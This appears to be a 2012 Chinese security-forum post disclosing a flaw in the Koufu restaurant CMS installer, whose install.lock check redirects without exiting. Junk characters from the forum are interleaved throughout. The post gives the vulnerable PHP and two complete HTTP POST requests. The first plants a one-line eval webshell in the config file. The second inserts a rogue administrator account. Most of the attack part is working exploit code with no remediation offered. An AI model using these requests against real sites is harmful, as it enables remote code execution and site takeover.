中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
) E( f6 }3 q2 s9 Y g2 H
5 K* L6 G3 s, n& |0 s7 o
<?php
6 a _' j8 h! ?( w' u
if(file_exists("../install.lock"))
: K% x! V! v( q3 ^! c4 a$ W" x
{
& m3 X* R! L0 t6 R
header("Location: ../");//没有退出
* B4 a, F3 @5 j/ g
}
6 U- @3 @' @7 c( w$ i6 B/ e
/ j" q- r# I2 j. f# U! A/ S
//echo 'tst';exit;
8 |* M! z# J+ E9 d
require_once("init.php");
! m; Y! [- v) {! ?# B# s+ O
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
& |' e S- i1 a
{
& a2 |) n/ L b. T3 H' R; t$ L
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
8 A5 I# A1 \( @9 J
$ l p2 S: U1 j# R+ y; ]' k
1、getshell(很危险)
1 ]0 D! B1 K8 u# E4 e- y
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
/ m/ @& l7 t' w: f
{
( E- V; q* c' K$ d
$smarty->assign("step",1);
( ?5 L$ [1 ^6 b) W r' r& a
$smarty->display("index.html");
4 f, T, D3 w# b; z6 y$ n& B
}elseif($_REQUEST['step']==2)
4 R! E) \, T! j1 U
{
5 j0 m& P, O2 ^# B4 l# s
$mysql_host=trim($_POST['mysql_host']);
( ?/ q$ }' Y4 I% O; |& N
$mysql_user=trim($_POST['mysql_user']);
1 S& f8 n! g9 F* o# k& l
$mysql_pwd=trim($_POST['mysql_pwd']);
( t2 W" j5 F2 z. }
$mysql_db=trim($_POST['mysql_db']);
' w3 f$ k" q% f* v
$tblpre=trim($_POST['tblpre']);
1 b* q' T/ d" z, a
$domain==trim($_POST['domain']);
' l9 r' b. G* c' y; n% l4 v( h+ q% F
$str="<?php \r\n";
* |% }+ A; n# F1 {* U4 @
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
9 v" F9 N9 `+ L$ x3 J
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
5 R% F; U& ^4 Q8 Y
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
: t* N( l- k& E8 Z3 R# U1 J5 j
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
8 P$ p# ~3 e) h. u/ c3 p
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
7 ? H) A* a( S
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
3 r2 ^5 q% ~1 @9 s! d1 g
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
6 G, S; j7 b$ A7 }
$str.='define("SKINS","default");'."\r\n";
& t T/ ]: U, X
$str.='?>';
7 r, q" l$ ]; y
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
; ~1 p9 x' C& o: F* _- s* t% k
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
0 ]4 v5 x# O1 O9 o0 k0 ?. @
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
: s8 O8 Q3 h- ?% b7 C+ S
Host: 192.168.80.129
- V1 J$ t. R( |$ t. O" ~+ z) U$ X
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
- P, B2 H3 l2 O) R: J- E) w% Z
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' ]% g% y) M$ n7 X9 i! ~1 V
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
/ O! K' u' d$ p
Accept-Encoding: gzip, deflate
0 G* o/ H' Q5 S8 p0 V
Referer:
http://192.168.80.129/canting/install/index.php?step=1
3 u& e9 y) h9 |6 J s- q
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
5 s1 A! v& X* w1 g- X
Content-Type: application/x-www-form-urlencoded
. d4 ^/ p( g& N
Content-Length: 126
6 Z d" g; M% }& z4 G
* |8 ]( o5 Q! M( j0 ^
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
* P; I; O4 Y2 a2 |) G
但是这个方法很危险,将导致网站无法运行。
) e3 l3 T q" }7 _7 m/ C: Q
' ], N+ ]& \2 o; Y7 M- a3 J
2、直接添加管理员
3 V# R; d2 A) Q5 h* @4 u
. F& O6 K# }% Y1 K
elseif($_REQUEST['step']==5)
' d2 w8 C5 r+ v& ~: I' h' u
{
v: d7 N8 \5 g& L0 c D8 D
if($_POST)
- X5 M1 x4 x3 K [2 f& d
{ require_once("../config/config.inc.php");
/ z( t: c3 j$ \3 j% E3 B f6 x# ~
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
5 R9 n: Z c5 H8 @2 }
mysql_select_db(MYSQL_DB,$link);
* x$ I% q$ }" q7 ]0 p- C* I6 s
mysql_query("SET NAMES ".MYSQL_CHARSET );
2 i* d- }- S# M
mysql_query("SET sql_mode=''");
! I7 d' D/ V1 v# j5 `# o
) w+ q' i9 h0 Q! `: |) R% P8 E
$adminname=trim($_POST['adminname']);
( B( N7 h% {. i" K8 x
$pwd1=trim($_POST['pwd1']);
& g. S. ~3 w0 w8 }
$pwd2=trim($_POST['pwd2']);
9 F: ?# R g; a% P) \# t8 D( P
if(empty($adminname))
% {, d2 Y: u& u8 B3 q* C1 i
{
8 F$ z& t8 Z# g/ ^$ ^# M: m8 Z
% h: r1 u; W7 @' f6 g( {
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
S5 o3 e8 ~2 \. B0 n4 h+ {$ y
exit();
5 f* R1 K4 m. G2 K/ o
}
+ c2 N: z/ t5 r/ n
if(($pwd1!=$pwd2) or empty($pwd1))
5 z2 I0 Q" F) F/ M3 Z
{
8 l1 A& n: I% A
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
4 K, i8 N/ R9 R0 m. t
}
4 M: _0 T C8 B* \
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
! {1 y0 P, G) V; M
}
5 ~2 Q. `0 ?9 H6 @& w# _
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
: r$ {5 k0 A* j& y% ^5 k
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
- r2 w8 k8 x. S' J# o* M/ x+ ^8 e, z- i! V
Host: 192.168.80.129
1 R$ G7 W! P- C# B: b: _
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
& D5 ^' R$ O8 x1 l( I1 ^
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
9 o0 U6 x/ {# z; N! f
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
% n6 e$ S: u, P" Y6 O
Accept-Encoding: gzip, deflate
1 W S6 M6 r- w" t- X2 l
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
1 E5 _ \: F" D
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
7 B1 b; v1 m( C0 j, ?- o: |
Content-Type: application/x-www-form-urlencoded
3 D/ D" l* H s O% e5 n7 u6 D
Content-Length: 46
/ T x# H3 W, w, L6 @/ ^8 L" i% i
, d z/ J3 t( G# |
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
5 D! `8 R1 X$ z* W8 R x2 c, `2 P
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2